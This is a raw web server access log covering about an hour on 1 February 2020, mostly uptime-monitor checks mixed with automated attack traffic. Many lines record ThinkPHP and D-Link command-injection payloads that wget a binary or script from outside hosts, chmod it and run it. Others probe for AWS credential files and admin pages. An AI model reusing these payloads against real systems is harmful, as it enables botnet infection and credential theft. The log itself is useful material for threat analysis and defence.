212.91.246.72 - - [01/Feb/2020:19:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.224.8 - - [01/Feb/2020:19:42:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.8.130.232 - - [01/Feb/2020:19:43:22 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:19:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.225.59.245 - - [01/Feb/2020:19:45:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.172.188 - - [01/Feb/2020:19:45:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:19:47:35 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:19:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.152.50.179 - - [01/Feb/2020:19:49:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:19:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:19:51:00 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
42.119.75.67 - - [01/Feb/2020:19:51:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.90.16.155 - - [01/Feb/2020:19:51:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.90.220.160 - - [01/Feb/2020:19:51:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
103.90.220.160 - - [01/Feb/2020:19:51:19 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
103.90.220.160 - - [01/Feb/2020:19:51:20 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:19:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:19:52:00 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
197.205.6.57 - - [01/Feb/2020:19:52:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.132.64.49 - - [01/Feb/2020:19:53:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.118.235.233 - - [01/Feb/2020:19:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.166.187.111 - - [01/Feb/2020:19:54:30 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:19:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.194.23.70 - - [01/Feb/2020:19:56:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.18.27.78 - - [01/Feb/2020:19:56:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.61 - - [01/Feb/2020:19:57:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.226.225 - - [01/Feb/2020:19:58:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:19:58:52 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:19:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.86.4 - - [01/Feb/2020:19:59:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.52 - - [01/Feb/2020:20:02:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
42.117.243.221 - - [01/Feb/2020:20:02:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.53.140.114 - - [01/Feb/2020:20:02:30 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:20:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.184.170.174 - - [01/Feb/2020:20:02:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.238.123.225 - - [01/Feb/2020:20:04:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.48.81.203 - - [01/Feb/2020:20:04:39 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:20:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.46.85 - - [01/Feb/2020:20:05:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.180.122.191 - - [01/Feb/2020:20:05:07 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
42.117.205.67 - - [01/Feb/2020:20:05:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.124.153.105 - - [01/Feb/2020:20:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
31.162.244.44 - - [01/Feb/2020:20:05:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.235.182.8 - - [01/Feb/2020:20:06:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.30 - - [01/Feb/2020:20:08:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.112.165 - - [01/Feb/2020:20:09:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.79.168 - - [01/Feb/2020:20:09:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.0.109.243 - - [01/Feb/2020:20:10:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:20:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.150.241 - - [01/Feb/2020:20:10:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.97.152 - - [01/Feb/2020:20:10:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.151.157.29 - - [01/Feb/2020:20:14:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.140.114 - - [01/Feb/2020:20:15:43 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:20:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.46.156.169 - - [01/Feb/2020:20:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:20:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:20:17:56 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:20:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [01/Feb/2020:20:19:54 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:20:19:55 +0100] "GET ///html/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:20:19:55 +0100] "GET ///asterisk/admin/config.php HTTP/1.1" 404 330 "-" "python-requests/2.22.0"
178.32.76.141 - - [01/Feb/2020:20:19:55 +0100] "GET ///fpbx/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
212.91.246.72 - - [01/Feb/2020:20:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.113.62 - - [01/Feb/2020:20:21:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [01/Feb/2020:20:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
94.102.49.193 - - [01/Feb/2020:20:22:39 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
94.102.49.193 - - [01/Feb/2020:20:22:42 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
212.91.246.72 - - [01/Feb/2020:20:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [01/Feb/2020:20:22:46 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
58.92.103.40 - - [01/Feb/2020:20:22:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
94.102.49.193 - - [01/Feb/2020:20:22:54 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
37.187.72.155 - - [01/Feb/2020:20:23:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
85.204.223.239 - - [01/Feb/2020:20:23:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:20:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.114.207.40 - - [01/Feb/2020:20:25:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.188.67.62 - - [01/Feb/2020:20:26:33 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:20:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.137.201 - - [01/Feb/2020:20:27:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.117.156.66 - - [01/Feb/2020:20:30:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
15.222.61.174 - - [01/Feb/2020:20:30:38 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:20:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.191 - - [01/Feb/2020:20:36:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.182.131.38 - - [01/Feb/2020:20:40:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
52.53.242.123 - - [01/Feb/2020:20:40:34 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:20:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.9.188 - - [01/Feb/2020:20:40:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.176.80.119 - - [01/Feb/2020:20:44:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:20:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
